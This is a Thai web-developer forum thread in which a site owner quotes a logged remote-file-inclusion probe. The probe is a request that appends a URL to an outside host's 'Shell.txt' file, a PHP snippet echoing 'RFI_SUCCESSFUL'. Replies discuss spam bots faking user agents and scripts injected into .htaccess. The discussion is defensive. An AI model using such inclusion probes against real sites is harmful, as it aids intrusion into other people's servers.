Forgot Password ??

PHP , ASP , ASP.NET, VB.NET, C#, Java , jQuery , Android , iOS , Windows Phone

	Registered : 109,037

HOME > Community Zone > Forum > มีการเรียก url แปลกๆเข้ามาในเว็บด้วย

มีการเรียก url แปลกๆเข้ามาในเว็บด้วย

เริ่มหัวข้อใหม่

mr.v

โพสกระทู้ ( 4,756 )
บทความ ( 8 )

ผมลองดู log ของเว็บ มีเรียกเข้ามาแบบนี้
85.101.122.96 user agent เป็น 0 คือไม่มีไรเลย มาแค่ 0
เรียกเพจ http://www.okvee.net/ok-vee-web-starter-kit/=http:/parascape.org/Shell.txt
พอผมเปิดเข้าไปดูว่ามันคืออะไร
Code

http://parascape.org/Shell.txt

ก็พบว่าข้างในเป็น

Code (PHP)

<?php
$invulnerable="RFI_SUCCESSFUL";
echo $invulnerable;
?>

ในเว็บทั่วไปมันมีช่องโหว่แบบนี้ด้วยเหรอครับ?
ของผมใช้ codeigniter ตรวจ uri อย่างละเอียด มันเลยกลายเป็น 404 ไปเพราะ url ทั้งหมดมันไม่ตรง

แล้วมันจะมีอีกพวก พวก spammer
พวกนี้จะมาเป็น user agent ie6 บ้าง ie2 win 95 บ้าง เรียกมาที่ /forum ของเว็บผม
ซึ่ง /forum นี้เคยติดตั้ง smf ดูช่วงหนึ่ง และเจอสแปมเยอะมาก เลยลบออก (404) แต่มันก็ยังมากันเรื่อยๆเลย จากแถบยุโรป
พวกนี้มันมี software กันหรือครับ?
มันเหมือนกับใช้ software ตัวเดียวกัน ส่ง url สำหรับ spam เว็บต่างๆไปทั่วๆถึงกัน แล้วปลอม user agent กันหมดเลย

Tag : - - - -

ประวัติการแก้ไข
2011-09-10 23:38:42
2011-09-10 23:43:23

Date : 2011-09-10 23:36:39

By : mr.v

View : 1724

Reply : 4

No. 1

TC Admin

โพสกระทู้ ( 74,058 )
บทความ ( 838 )

เรื่องปลอม agent นี่เคยเจอปลอมเป็น Googlebot มาดูดเว็บครับ ตอนนี้เลยใช้การเช็ค HOST Name แทนครับ ส่วนเรื่อง Spammer น่าจะกันยากครับ แต่ถ้าเช็ค Data ที่นำเข้าทุกตัว น่าจะสามารถป้องกันได้ในระดับหนึ่งครับ

เข้าใจว่าพวกนี้คงจะมี Server เอาเป็นเหมือน Spam bot ครับ ไต่ไปตามเว็บต่าง ๆ ครับ เจอช่องโหว่เว็บไหนก็ถล่มเว็บนั้น

Date : 2011-09-11 07:20:07

By : webmaster

No. 2

TC Admin

โพสกระทู้ ( 74,058 )
บทความ ( 838 )

เคยเจอแทรก scirpt ใน .htaccess ครับ น่ากลัวจริง ๆ

Date : 2011-09-12 11:53:05

By : webmaster

No. 3

mr.v

โพสกระทู้ ( 4,756 )
บทความ ( 8 )

แทรกใน .htaccess นี่ต้องอัพโหลดเข้าไปเองหรือโดนไวรัสไม่ใช่เหรอครับ?

Date : 2011-09-12 16:44:40

By : mr.v

No. 4

TC Admin

โพสกระทู้ ( 74,058 )
บทความ ( 838 )

น่าจะประมาณนั้นครับ

Date : 2011-09-12 18:08:48

By : webmaster

ค้นหาข้อมูล

แสดงความคิดเห็น

Re : มีการเรียก url แปลกๆเข้ามาในเว็บด้วย

รายละเอียด

เพื่อความเรียบร้อยของข้อความ ควรจัดรูปแบบให้พอดีกับขนาดของหน้าจอ เพื่อง่ายต่อการอ่านและสบายตา และตรวจสอบภาษาไทยให้ถูกต้อง

อัพโหลดแทรกรูปภาพ

Notice

เพื่อความปลอดภัยของเว็บบอร์ด ไม่อนุญาติให้แทรก แท็ก [img]....[/img] โดยการอัพโหลดไฟล์รูปจากที่อื่น เช่นเว็บไซต์ ฟรีอัพโหลดต่าง ๆ
อัพโหลดแทรกรูปภาพ ให้ใช้บริการอัพโหลดไฟล์ของไทยครีเอท และตัดรูปภาพให้พอดีกับสกรีน เพื่อความโหลดเร็วและไฟล์ไม่ถูกลบทิ้ง

เพื่อความปลอดภัยและการตรวจสอบ กระทู้ที่แทรกไฟล์อัพโหลดไฟล์จากที่อื่น อาจจะถูกลบทิ้ง

โดย

อีเมล์

บวกค่าให้ถูก